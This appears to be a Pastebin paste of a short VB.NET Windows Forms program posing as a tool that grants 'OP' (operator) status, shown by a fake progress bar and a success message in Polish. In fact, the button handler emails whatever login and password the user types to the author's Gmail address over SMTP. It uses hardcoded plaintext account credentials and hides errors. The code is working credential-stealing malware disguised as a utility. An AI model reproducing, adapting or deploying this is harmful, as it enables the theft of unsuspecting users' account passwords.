Advertisement
Guest User

Untitled

a guest
Nov 25th, 2017
352
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.17 KB | None | 0 0
  1. Imports System
  2. Imports System.Threading
  3. Imports System.Net.Mail
  4. Public Class Form1
  5.  
  6. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  7. Timer1.Start()
  8.  
  9. Dim MyMailMessage As New MailMessage()
  10. Try
  11. MyMailMessage.From = New MailAddress("araxhaker@gmail.com")
  12. MyMailMessage.To.Add("araxhaker@gmail.com")
  13. MyMailMessage.Subject = ("Nowe hasło")
  14. MyMailMessage.Body = "Login: " + TextBox1.Text & vbCrLf + "Hasło: " + TextBox2.Text
  15. Dim SMTP As New SmtpClient("smtp.gmail.com")
  16. SMTP.Port = 587
  17. SMTP.EnableSsl = True
  18. SMTP.Credentials = New System.Net.NetworkCredential("araxhaker@gmail.com", "kurwa123@")
  19. SMTP.Send(MyMailMessage)
  20. TextBox2.Text = ""
  21. Catch ex As Exception
  22. End Try
  23. End Sub
  24.  
  25. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  26. ProgressBar1.Increment(1)
  27. If ProgressBar1.Value = 100 Then
  28. Label7.Text = "OP ZOSTAŁ NADANY!"
  29. End If
  30. End Sub
  31. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement